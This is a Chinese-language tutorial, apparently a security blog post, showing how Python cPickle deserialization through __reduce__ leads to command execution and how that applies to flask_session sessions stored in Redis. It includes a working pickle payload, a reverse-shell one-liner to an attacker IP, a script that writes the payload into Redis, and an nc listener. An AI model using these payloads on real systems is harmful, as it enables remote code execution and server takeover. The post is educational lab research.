Python 反序列化安全问题(一)
这一段时间使用flask做web开发,使用了redis存储session,阅读了flask_session源码,发现在存储session到redis过程中,利用了cPickle模块进行序列化以及反序列化;正好根据该样例学习一波Python反序列化相关的安全问题,不足之处请各位表哥指出。
一、基础知识讲解
1.1 cPickle模块
Python中主要是用cPickle和pickle,前者是使用C语言实现,速度可达到后者的1000倍,使用范围较广( 文档链接)
cPickle可以序列化很多类型的对象,详情见文档。基础语法就是:
import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)
文档中需要特别关注的是11.1.5.2,Pickling and unpickling extension types
这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程,原文有一句我并没有完全理解意思:
When the Pickler encounters an object of a type it knows nothing about — such as an extension type
初始理解的意思是:当遇到解释器一无所知的扩展类型的时候,但是对于理解的这句话,扩展类型是什么意思?后来想到Python中元类是type,这里extension types应该理解为type类型的class。
class A(): # 旧类
pass
type(A)
class B(object): # 新类
pass
type(B)
所以说这一节主要针对的应该是新类,即 class A(object) 此种写法创建的类(存疑,待补充完善);当序列化以及反序列化的过程中中碰到未知类的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,该方法可以返回string和tuple类型;问题主要出在tuple类型(后面会细述),通过构造__reduce__可达到命令执行的目的:
import cPickle
import os
class A(object):
def __reduce__(self):
a = 'whoami'
return (os.system,(a,))
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)
使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell:
import cPickle
import os
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)
然后在10.85.0.76执行nc -lvvp 9001,即可成功获取shell。
1.2 flask_session
因为本次测试主要是依托于flask和redis,所以首先介绍一下flask_session。
flask中默认使用客户端session,如果想要配置服务端session,就需要使用flask_session配合Redis(后面皆以Redis为主)或者其他数据库。flask_session使用Redis存储session的过程(主要使用如下的接口实现,只展示部分代码):
class RedisSessionInterface(SessionInterface):
serializer = pickle # 上文模块导入 import cPickle as pickle
session_class = RedisSession
def open_session(self, app, request): # 获取session
……
val = self.redis.get(self.key_prefix + sid)
if val is not None:
try:
data = self.serializer.loads(val) ## 将session值取出后反序列化
return self.session_class(data, sid=sid)
except:
return self.session_class(sid=sid, permanent=self.permanent)
return self.session_class(sid=sid, permanent=self.permanent)
def save_session(self, app, session, response): # 存储session
……
val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis
上述过程简单说就是:session存取过程存在序列化和反序列化的过程。
session在Redis中以键值对(key,value)的形式存储。假设我们能够操纵Redis中的键值对,将某个key的值设为我们序列化后恶意代码(比如上面反弹shell的代码样例),然后在将自身的cookie设置为该key,在访问网站的时候,服务端会对于根据key查找value并进行反序列化,进而反弹shell。下面对于该想法进行测试
二、 漏洞测试
测试环境:
- victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54
- attacker:Win10、IP:10.85.0.76
2.1 构建服务端
此处我用flask编写了一个服务端样例:
import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = 'redis'
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = 'session'
SESSION_REDIS = redis.Redis(host='127.0.0.1',port='6379')
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800 # 7 days
app.config.from_object(__name__)
Session(app)
@app.route('/')
def hello_world():
session['name']='test'
return 'Hello World!'
if __name__ == '__main__':
app.run(host='0.0.0.0')
将上述代码保存为app.py,第三方库安装完毕后,在服务器上运行
python app.py
即可在5000端口启动简单的服务端,访问如图所示,红框中是我们的sid,也是服务端查找session内容的key(因为设置了前缀,所以redis中key应该是session+sid):
2.2 更改session
此时如果说我们将value设置为恶意代码会怎么样?
import cPickle
import os
import redis
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host='127.0.0.1',port=6379)
r.set('此处为'session'和你的sid拼接',result)
运行上述代码后,我们可以发现我们的session内容变成下图所示内容:
2.3 反弹shell
此时在attacker监听9001端口:
nc -lvvp 9001
然后刷新浏览器中访问页面,发现成功反弹shell:
三、emmmm
目前很多Python的Web应用都用Redis等NoSQL进行session存储,当攻击者有机会去操纵服务端的session的时候(比如Redis未授权访问),配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle,两个库实现的功能基本相似,后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。